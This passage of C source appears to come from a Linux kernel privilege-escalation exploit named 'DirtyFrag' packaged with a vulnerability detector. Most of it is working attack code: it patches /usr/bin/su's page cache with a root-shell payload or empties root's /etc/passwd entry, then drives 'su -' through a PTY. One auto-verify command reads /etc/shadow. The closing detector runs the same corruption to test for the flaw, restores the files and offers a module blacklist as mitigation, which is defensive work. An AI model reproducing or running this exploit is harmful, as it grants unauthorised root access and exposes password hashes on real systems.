   1760 		if (pr < 0 && errno != EINTR) break;
   1761 		total_ms += 200;
   1762 
   1763 		if (pfds[1].revents & POLLIN) {
   1764 			ssize_t n = read(master, buf, sizeof(buf));
   1765 			if (n <= 0) break;
   1766 			(void)write(STDOUT_FILENO, buf, n);
   1767 			if (!auto_pw_sent && (size_t)n < sizeof(buf)) {
   1768 				buf[n] = 0;
   1769 				if (strstr(buf, "Password") || strstr(buf, "password")) {
   1770 					/* Empty password — PAM nullok will accept it.
   1771 					 * (When pam_unix sees an empty passwd field plus
   1772 					 * nullok it skips the prompt entirely; this branch
   1773 					 * handles the case where some other PAM module
   1774 					 * prints a prompt anyway.) */
   1775 					(void)write(master, "\n", 1);
   1776 					auto_pw_sent = 1;
   1777 				}
   1778 			}
   1779 		}
   1780 		if (!stdin_eof && (pfds[0].revents & POLLIN)) {
   1781 			ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
   1782 			if (n <= 0) {
   1783 				/* stdin EOF — stop reading from it but keep bridging
   1784 				 * master → stdout so su can still finish auth and run
   1785 				 * the optional auto-verify command. */
   1786 				stdin_eof = 1;
   1787 			} else {
   1788 				(void)write(master, buf, n);
   1789 			}
   1790 		}
   1791 		if (pfds[1].revents & (POLLHUP | POLLERR)) break;
   1792 
   1793 		/* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so
   1794 		 * the bridge captures uid=0 evidence non-interactively even
   1795 		 * when pam_unix's blank-passwd path skips the prompt. */
   1796 		if (auto_verify && !verify_sent && total_ms >= 1000) {
   1797 			const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n";
   1798 			(void)write(master, cmd, sizeof(cmd) - 1);
   1799 			verify_sent = 1;
   1800 		}
   1801 
   1802 		int status;
   1803 		pid_t w = waitpid(pid, &status, WNOHANG);
   1804 		if (w == pid) {
   1805 			for (int i = 0; i < 5; i++) {
   1806 				struct pollfd pf = { master, POLLIN, 0 };
   1807 				if (poll(&pf, 1, 50) <= 0) break;
   1808 				ssize_t n = read(master, buf, sizeof(buf));
   1809 				if (n <= 0) break;
   1810 				(void)write(STDOUT_FILENO, buf, n);
   1811 			}
   1812 			break;
   1813 		}
   1814 	}
   1815 	if (saved_termios_ok) {
   1816 		tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
   1817 	}
   1818 	close(master);
   1819 	return 0;
   1820 }
   1821 /*
   1822  * DirtyFrag chain — uid=1000 → root.
   1823  *
   1824  * 1. ESP path  (authencesn AF_ALG --corrupt-only): overwrites the first
   1825  *    160 bytes of /usr/bin/su's page-cache with a static x86_64 root-
   1826  *    shell ELF.  Works on every distro tested regardless of PAM nullok
   1827  *    or /etc/passwd contents — once invoked, the patched setuid-root
   1828  *    /usr/bin/su just execs /bin/sh as uid 0.
   1829  *
   1830  * 2. rxrpc path  (Ubuntu fallback): if AF_ALG is sandboxed and the ESP
   1831  *    path can't reach the page cache, fall back to the rxrpc/rxkad
   1832  *    nullok primitive that patches /etc/passwd's root entry empty.
   1833  *    PAM nullok then accepts the empty password during `su -`.
   1834  *
   1835  * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a
   1836  *    fresh PTY and bridge the user's tty to it.  The bridge handles
   1837  *    both the patched-su (no PAM at all) and the patched-passwd (PAM
   1838  *    nullok) cases uniformly, and works even when the caller is in a
   1839  *    background process group of an ssh-allocated PTY.
   1840  *
   1841  */
   1842 #define _GNU_SOURCE
   1843 #include <stdio.h>
   1844 #include <stdlib.h>
   1845 #include <string.h>
   1846 #include <unistd.h>
   1847 #include <errno.h>
   1848 #include <fcntl.h>
   1849 #include <sched.h>
   1850 #include <poll.h>
   1851 #include <signal.h>
   1852 #include <termios.h>
   1853 #include <sys/ioctl.h>
   1854 #include <sys/wait.h>
   1855 #include <sys/types.h>
   1856 #include <stdint.h>
   1857 
   1858 extern int su_lpe_main(int argc, char **argv);
   1859 extern int rxrpc_lpe_main(int argc, char **argv);
   1860 
   1861 /*
   1862  * The 8 bytes our su payload places at file offset 0x78 — the first
   1863  * instructions of the embedded shell ELF.  Sequence:
   1864  *   31 ff   xor edi, edi
   1865  *   31 f6   xor esi, esi
   1866  *   31 c0   xor eax, eax
   1867  *   b0 6a   mov al, 0x6a   (setgid)
   1868  * Distros' original /usr/bin/su has different bytes here, so this is
   1869  * a reliable post-patch marker.
   1870  *
   1871  * (We don't check offset 0 because /usr/bin/su already has the ELF
   1872  * magic there — both before and after we patch.)
   1873  */
   1874 static const uint8_t su_marker[8] = {
   1875 	0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
   1876 };
   1877 
   1878 static int su_already_patched(void)
   1879 {
   1880 	int fd = open("/usr/bin/su", O_RDONLY);
   1881 	if (fd < 0)
   1882 		return 0;
   1883 	uint8_t got[8];
   1884 	ssize_t n = pread(fd, got, sizeof(got), 0x78);
   1885 	close(fd);
   1886 	if (n != sizeof(got))
   1887 		return 0;
   1888 	return memcmp(got, su_marker, sizeof(su_marker)) == 0;
   1889 }
   1890 
   1891 static int passwd_already_patched(void)
   1892 {
   1893 	int fd = open("/etc/passwd", O_RDONLY);
   1894 	if (fd < 0)
   1895 		return 0;
   1896 	char head[16];
   1897 	ssize_t n = pread(fd, head, sizeof(head), 0);
   1898 	close(fd);
   1899 	if (n < 9)
   1900 		return 0;
   1901 	return memcmp(head, "root::0:0", 9) == 0;
   1902 }
   1903 
   1904 static int either_target_patched(void)
   1905 {
   1906 	return su_already_patched() || passwd_already_patched();
   1907 }
   1908 
   1909 static void silence_stderr(int *saved_fd)
   1910 {
   1911 	*saved_fd = dup(STDERR_FILENO);
   1912 	int dn = open("/dev/null", O_WRONLY);
   1913 	if (dn >= 0) {
   1914 		dup2(dn, STDERR_FILENO);
   1915 		close(dn);
   1916 	}
   1917 }
   1918 
   1919 static void restore_stderr(int saved_fd)
   1920 {
   1921 	if (saved_fd >= 0) {
   1922 		dup2(saved_fd, STDERR_FILENO);
   1923 		close(saved_fd);
   1924 	}
   1925 }
   1926 
   1927 static char **append_corrupt_only(int argc, char **argv, int *new_argc)
   1928 {
   1929 	static char *flag = "--corrupt-only";
   1930 	static char *buf[64];
   1931 	int n = argc < 60 ? argc : 60;
   1932 	for (int i = 0; i < n; i++)
   1933 		buf[i] = argv[i];
   1934 	buf[n] = flag;
   1935 	buf[n + 1] = NULL;
   1936 	*new_argc = n + 1;
   1937 	return buf;
   1938 }
   1939 
   1940 static void exec_su_login(void)
   1941 {
   1942 	const char *paths[] = {
   1943 		"/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,
   1944 	};
   1945 	for (int i = 0; paths[i]; i++)
   1946 		execl(paths[i], "su", "-", (char *)NULL);
   1947 	execlp("su", "su", "-", (char *)NULL);
   1948 }
   1949 
   1950 /*
   1951  * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it.
   1952  */
   1953 static int run_root_pty(void)
   1954 {
   1955 	int master = posix_openpt(O_RDWR | O_NOCTTY);
   1956 	if (master < 0)
   1957 		return -1;
   1958 	if (grantpt(master) < 0 || unlockpt(master) < 0) {
   1959 		close(master);
   1960 		return -1;
   1961 	}
   1962 	char *slave_name = ptsname(master);
   1963 	if (!slave_name) {
   1964 		close(master);
   1965 		return -1;
   1966 	}
   1967 
   1968 	struct winsize ws;
   1969 	if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0)
   1970 		ioctl(master, TIOCSWINSZ, &ws);
   1971 
   1972 	pid_t pid = fork();
   1973 	if (pid < 0) {
   1974 		close(master);
   1975 		return -1;
   1976 	}
   1977 	if (pid == 0) {
   1978 		setsid();
   1979 		int slave = open(slave_name, O_RDWR);
   1980 		if (slave < 0)
   1981 			_exit(127);
   1982 		ioctl(slave, TIOCSCTTY, 0);
   1983 		dup2(slave, 0);
   1984 		dup2(slave, 1);
   1985 		dup2(slave, 2);
   1986 		if (slave > 2)
   1987 			close(slave);
   1988 		close(master);
   1989 		exec_su_login();
   1990 		_exit(127);
   1991 	}
   1992 
   1993 	signal(SIGTTOU, SIG_IGN);
   1994 	signal(SIGTTIN, SIG_IGN);
   1995 	signal(SIGPIPE, SIG_IGN);
   1996 	signal(SIGHUP,  SIG_IGN);
   1997 	(void)setpgid(0, 0);
   1998 	(void)tcsetpgrp(STDIN_FILENO, getpid());
   1999 
   2000 	struct termios saved_termios;
   2001 	int restore_termios = 0;
   2002 	if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) {
   2003 		struct termios raw = saved_termios;
   2004 		cfmakeraw(&raw);
   2005 		if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0)
   2006 			restore_termios = 1;
   2007 	}
   2008 
   2009 	int auto_pw_sent = 0;
   2010 	int stdin_eof = 0;
   2011 	int saw_master_output = 0;
   2012 	int total_ms = 0;
   2013 	char buf[4096];
   2014 
   2015 	for (;;) {
   2016 		struct pollfd pfds[2] = {
   2017 			{ stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
   2018 			{ master,                        POLLIN, 0 },
   2019 		};
   2020 		int pr = poll(pfds, 2, 200);
   2021 		if (pr < 0 && errno != EINTR)
   2022 			break;
   2023 		total_ms += 200;
   2024 
   2025 		if (pfds[1].revents & POLLIN) {
   2026 			ssize_t n = read(master, buf, sizeof(buf));
   2027 			if (n <= 0)
   2028 				break;
   2029 			saw_master_output = 1;
   2030 			(void)write(STDOUT_FILENO, buf, n);
   2031 			if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) {
   2032 				buf[n] = 0;
   2033 				if (strstr(buf, "Password") ||
   2034 						strstr(buf, "password")) {
   2035 					(void)write(master, "\n", 1);
   2036 					auto_pw_sent = 1;
   2037 				}
   2038 			}
   2039 		}
   2040 		if (!stdin_eof && (pfds[0].revents & POLLIN)) {
   2041 			ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
   2042 			if (n <= 0)
   2043 				stdin_eof = 1;
   2044 			else
   2045 				(void)write(master, buf, n);
   2046 		}
   2047 		if (pfds[1].revents & (POLLHUP | POLLERR))
   2048 			break;
   2049 
   2050 		if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) {
   2051 			(void)write(master, "\n", 1);
   2052 			auto_pw_sent = 1;
   2053 		}
   2054 
   2055 		int status;
   2056 		pid_t w = waitpid(pid, &status, WNOHANG);
   2057 		if (w == pid) {
   2058 			for (int i = 0; i < 5; i++) {
   2059 				struct pollfd pf = { master, POLLIN, 0 };
   2060 				if (poll(&pf, 1, 50) <= 0)
   2061 					break;
   2062 				ssize_t n = read(master, buf, sizeof(buf));
   2063 				if (n <= 0)
   2064 					break;
   2065 				(void)write(STDOUT_FILENO, buf, n);
   2066 			}
   2067 			break;
   2068 		}
   2069 	}
   2070 
   2071 	if (restore_termios)
   2072 		tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
   2073 	close(master);
   2074 	return 0;
   2075 }
   2076 
   2077 int main(int argc, char **argv)
   2078 {
   2079 	int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
   2080 	int force_esp = 0, force_rxrpc = 0;
   2081 	int saved_err = -1;
   2082 	int rc = 1;
   2083 	int new_argc;
   2084 	char **co_argv;
   2085 
   2086 	for (int i = 1; i < argc; i++) {
   2087 		if (!strcmp(argv[i], "--force-esp"))
   2088 			force_esp = 1;
   2089 		else if (!strcmp(argv[i], "--force-rxrpc"))
   2090 			force_rxrpc = 1;
   2091 		else if (!strcmp(argv[i], "-v") ||
   2092 				!strcmp(argv[i], "--verbose"))
   2093 			verbose = 1;
   2094 	}
   2095 
   2096 	if (getuid() == 0) {
   2097 		execlp("/bin/bash", "bash", (char *)NULL);
   2098 		_exit(1);
   2099 	}
   2100 
   2101 	co_argv = append_corrupt_only(argc, argv, &new_argc);
   2102 
   2103 	if (!verbose)
   2104 		silence_stderr(&saved_err);
   2105 
   2106 	if (force_rxrpc) {
   2107 		rc = rxrpc_lpe_main(new_argc, co_argv);
   2108 		for (int i = 0; !passwd_already_patched() && i < 3; i++)
   2109 			rc = rxrpc_lpe_main(new_argc, co_argv);
   2110 	} else if (force_esp) {
   2111 		rc = su_lpe_main(new_argc, co_argv);
   2112 	} else {
   2113 		rc = su_lpe_main(new_argc, co_argv);
   2114 		if (!su_already_patched()) {
   2115 			rc = rxrpc_lpe_main(new_argc, co_argv);
   2116 			for (int i = 0; !passwd_already_patched() && i < 3; i++)
   2117 				rc = rxrpc_lpe_main(new_argc, co_argv);
   2118 		}
   2119 	}
   2120 
   2121 	int patched = either_target_patched();
   2122 
   2123 	if (!verbose)
   2124 		restore_stderr(saved_err);
   2125 
   2126 	if (patched) {
   2127 		(void)run_root_pty();
   2128 		return 0;
   2129 	}
   2130 
   2131 	dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
   2132 	return rc ? rc : 1;
   2133 }
   2134 
   2135 #include "setup.h"
   2136 
   2137 /* ---- detector plumbing ---- */
   2138 
   2139 static int detector_su_already_patched(void) {
   2140 	static const uint8_t marker[8] = {
   2141 		0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
   2142 	};
   2143 	int fd = open("/usr/bin/su", O_RDONLY);
   2144 	if (fd < 0) return 0;
   2145 	uint8_t got[8];
   2146 	ssize_t n = pread(fd, got, sizeof(got), 0x78);
   2147 	close(fd);
   2148 	if (n != sizeof(got)) return 0;
   2149 	return memcmp(got, marker, sizeof(got)) == 0;
   2150 }
   2151 
   2152 static int detector_passwd_already_patched(void) {
   2153 	int fd = open("/etc/passwd", O_RDONLY);
   2154 	if (fd < 0) return 0;
   2155 	char head[16];
   2156 	ssize_t n = pread(fd, head, sizeof(head), 0);
   2157 	close(fd);
   2158 	if (n < 9) return 0;
   2159 	return memcmp(head, "root::0:0", 9) == 0;
   2160 }
   2161 
   2162 int detector_dirtyfrag(int num) {
   2163 	(void)num;
   2164 
   2165 	if (detector_su_already_patched() || detector_passwd_already_patched())
   2166 		return 3;
   2167 
   2168 	/* Back up both artifacts before any corruption attempt. */
   2169 	backup_su();
   2170 	backup_passwd();
   2171 
   2172 	{ /* ESP / xfrm path */
   2173 		char *argv[] = {"dirtyfrag", "--corrupt-only", NULL};
   2174 		if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) {
   2175 			/* System is vulnerable — restore artifacts before returning. */
   2176 			revert_su();
   2177 			revert_passwd();
   2178 			return 3;
   2179 		}
   2180 		revert_su();
   2181 	}
   2182 
   2183 	{ /* rxrpc / rxkad fallback */
   2184 		setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1);
   2185 		char *argv[] = {"dirtyfrag", "--corrupt-only", NULL};
   2186 		int rc = rxrpc_lpe_main(2, argv);
   2187 		unsetenv("DIRTYFRAG_CORRUPT_ONLY");
   2188 		if (rc == 0 && detector_passwd_already_patched()) {
   2189 			/* System is vulnerable — restore artifacts before returning. */
   2190 			revert_su();
   2191 			revert_passwd();
   2192 			return 3;
   2193 		}
   2194 	}
   2195 
   2196 	/* Restore any artifacts that may have been touched. */
   2197 	revert_su();
   2198 	revert_passwd();
   2199 
   2200 	return 0;
   2201 }
   2202 
   2203 __attribute__((constructor)) void detector_dirtyfrag_setup(void) {
   2204   detector_queue_append("dirtyfrag",
   2205                         "Dirty Frag (xfrm-ESP Page-Cache Write): "
   2206                         "Run the following to blacklist vulnerable modules:\n"
   2207                         "  sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n"
   2208                         "install rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; "
   2209                         "rmmod esp4 esp6 rxrpc 2>/dev/null ; echo 3 > /proc/sys/vm/drop_caches; true\"\n"
   2210                         "  Then update your kernel once distribution patches are available.",
   2211                         detector_dirtyfrag);
   2212 }